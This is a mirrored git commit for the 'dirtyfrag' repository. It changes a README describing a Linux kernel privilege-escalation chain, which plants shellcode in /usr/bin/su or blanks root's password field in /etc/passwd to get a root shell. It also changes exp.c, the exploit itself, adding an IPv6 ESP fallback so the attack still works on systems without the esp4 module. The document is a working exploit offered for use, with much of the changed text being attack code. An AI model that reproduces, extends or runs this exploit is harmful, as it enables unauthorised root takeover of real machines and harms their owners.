mirror of
https://github.com/V4bel/dirtyfrag.git
synced 2026-05-16 10:50:10 +00:00
Merge f01824fc22 into aab16fcada
This commit is contained in:
commit
0906c4d8be
2 changed files with 59 additions and 11 deletions
|
|
@ -451,7 +451,7 @@ The chain exploit proceeds as follows.
|
||||||
2. Check whether the first byte of the shellcode has been planted at the entry offset of /usr/bin/su.
|
2. Check whether the first byte of the shellcode has been planted at the entry offset of /usr/bin/su.
|
||||||
On modification success → parent process performs forkpty + execve("/usr/bin/su") → root shell.
|
On modification success → parent process performs forkpty + execve("/usr/bin/su") → root shell.
|
||||||
|
|
||||||
3. On modification failure (e.g. unshare(USER) returns -EPERM, or esp4.ko is not loaded, or SA registration fails):
|
3. On modification failure (e.g. unshare(USER) returns -EPERM, or neither esp4.ko nor esp6.ko is loaded, or SA registration fails):
|
||||||
Fall back to the RxRPC variant:
|
Fall back to the RxRPC variant:
|
||||||
/etc/passwd line 1 K search → three splice triggers → passwd field empty
|
/etc/passwd line 1 K search → three splice triggers → passwd field empty
|
||||||
forkpty + execve("/usr/bin/su") → PAM nullok → root shell.
|
forkpty + execve("/usr/bin/su") → PAM nullok → root shell.
|
||||||
|
|
|
||||||
58
exp.c
58
exp.c
|
|
@ -90,6 +90,8 @@ extern int g_su_verbose;
|
||||||
int g_su_verbose = 0;
|
int g_su_verbose = 0;
|
||||||
#define SLOG(fmt, ...) do { if (g_su_verbose) fprintf(stderr, "[su] " fmt "\n", ##__VA_ARGS__); } while (0)
|
#define SLOG(fmt, ...) do { if (g_su_verbose) fprintf(stderr, "[su] " fmt "\n", ##__VA_ARGS__); } while (0)
|
||||||
|
|
||||||
|
int g_esp4_available = 1;
|
||||||
|
|
||||||
static int write_proc(const char *path, const char *buf)
|
static int write_proc(const char *path, const char *buf)
|
||||||
{
|
{
|
||||||
int fd = open(path, O_WRONLY);
|
int fd = open(path, O_WRONLY);
|
||||||
|
|
@ -217,35 +219,81 @@ static int add_xfrm_sa(uint32_t spi, uint32_t patch_seqhi)
|
||||||
int n = recv(sk, rbuf, sizeof(rbuf), 0);
|
int n = recv(sk, rbuf, sizeof(rbuf), 0);
|
||||||
if (n < 0) { close(sk); return -1; }
|
if (n < 0) { close(sk); return -1; }
|
||||||
struct nlmsghdr *rh = (struct nlmsghdr *)rbuf;
|
struct nlmsghdr *rh = (struct nlmsghdr *)rbuf;
|
||||||
|
if (rh->nlmsg_type == NLMSG_ERROR) {
|
||||||
|
struct nlmsgerr *e = NLMSG_DATA(rh);
|
||||||
|
if (!e->error)
|
||||||
|
goto out;
|
||||||
|
|
||||||
|
if (e->error != -EPROTONOSUPPORT) { close(sk); return -1; }
|
||||||
|
|
||||||
|
xs->family = AF_INET6;
|
||||||
|
inet_pton(AF_INET6, "::1", &xs->id.daddr.a6);
|
||||||
|
inet_pton(AF_INET6, "::1", &xs->saddr.a6);
|
||||||
|
inet_pton(AF_INET6, "::1", &xs->sel.daddr.a6);
|
||||||
|
inet_pton(AF_INET6, "::1", &xs->sel.saddr.a6);
|
||||||
|
xs->sel.family = AF_INET6;
|
||||||
|
xs->sel.prefixlen_d = 128;
|
||||||
|
xs->sel.prefixlen_s = 128;
|
||||||
|
|
||||||
|
if (send(sk, nlh, nlh->nlmsg_len, 0) < 0) { close(sk); return -1; }
|
||||||
|
n = recv(sk, rbuf, sizeof(rbuf), 0);
|
||||||
|
if (n < 0) { close(sk); return -1; }
|
||||||
|
|
||||||
if (rh->nlmsg_type == NLMSG_ERROR) {
|
if (rh->nlmsg_type == NLMSG_ERROR) {
|
||||||
struct nlmsgerr *e = NLMSG_DATA(rh);
|
struct nlmsgerr *e = NLMSG_DATA(rh);
|
||||||
if (e->error) { close(sk); return -1; }
|
if (e->error) { close(sk); return -1; }
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if (g_esp4_available)
|
||||||
|
SLOG("ESP4 protocol isn't available, but ESP6 is");
|
||||||
|
|
||||||
|
g_esp4_available = 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
out:
|
||||||
close(sk);
|
close(sk);
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
static int do_one_write(const char *path, off_t offset, uint32_t spi)
|
static int do_one_write(const char *path, off_t offset, uint32_t spi)
|
||||||
{
|
{
|
||||||
int sk_recv = socket(AF_INET, SOCK_DGRAM, 0);
|
int sk_recv = socket(g_esp4_available ? AF_INET : AF_INET6, SOCK_DGRAM, 0);
|
||||||
if (sk_recv < 0) return -1;
|
if (sk_recv < 0) return -1;
|
||||||
int one = 1;
|
int one = 1;
|
||||||
setsockopt(sk_recv, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));
|
setsockopt(sk_recv, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));
|
||||||
struct sockaddr_in sa_d = {
|
union {
|
||||||
|
struct sockaddr_in sa_d;
|
||||||
|
struct sockaddr_in6 sa6_d;
|
||||||
|
} sa;
|
||||||
|
size_t sa_l;
|
||||||
|
|
||||||
|
if (g_esp4_available) {
|
||||||
|
sa.sa_d = (struct sockaddr_in) {
|
||||||
.sin_family = AF_INET,
|
.sin_family = AF_INET,
|
||||||
.sin_port = htons(ENC_PORT),
|
.sin_port = htons(ENC_PORT),
|
||||||
.sin_addr = { inet_addr("127.0.0.1") },
|
.sin_addr = { inet_addr("127.0.0.1") },
|
||||||
};
|
};
|
||||||
if (bind(sk_recv, (struct sockaddr*)&sa_d, sizeof(sa_d)) < 0) {
|
sa_l = sizeof(sa.sa_d);
|
||||||
|
} else {
|
||||||
|
sa.sa6_d = (struct sockaddr_in6) {
|
||||||
|
.sin6_family = AF_INET6,
|
||||||
|
.sin6_port = htons(ENC_PORT),
|
||||||
|
};
|
||||||
|
inet_pton(AF_INET6, "::1", &sa.sa6_d.sin6_addr);
|
||||||
|
sa_l = sizeof(sa.sa6_d);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (bind(sk_recv, (struct sockaddr*)&sa, sa_l) < 0) {
|
||||||
close(sk_recv); return -1;
|
close(sk_recv); return -1;
|
||||||
}
|
}
|
||||||
|
|
||||||
int encap = UDP_ENCAP_ESPINUDP;
|
int encap = UDP_ENCAP_ESPINUDP;
|
||||||
if (setsockopt(sk_recv, IPPROTO_UDP, UDP_ENCAP, &encap, sizeof(encap)) < 0) {
|
if (setsockopt(sk_recv, IPPROTO_UDP, UDP_ENCAP, &encap, sizeof(encap)) < 0) {
|
||||||
close(sk_recv); return -1;
|
close(sk_recv); return -1;
|
||||||
}
|
}
|
||||||
int sk_send = socket(AF_INET, SOCK_DGRAM, 0);
|
int sk_send = socket(g_esp4_available ? AF_INET : AF_INET6, SOCK_DGRAM, 0);
|
||||||
if (sk_send < 0) { close(sk_recv); return -1; }
|
if (sk_send < 0) { close(sk_recv); return -1; }
|
||||||
if (connect(sk_send, (struct sockaddr*)&sa_d, sizeof(sa_d)) < 0) {
|
if (connect(sk_send, (struct sockaddr*)&sa, sa_l) < 0) {
|
||||||
close(sk_send); close(sk_recv); return -1;
|
close(sk_send); close(sk_recv); return -1;
|
||||||
}
|
}
|
||||||
int file_fd = open(path, O_RDONLY);
|
int file_fd = open(path, O_RDONLY);
|
||||||
|
|
|
||||||
Loading…
Add table
Add a link
Reference in a new issue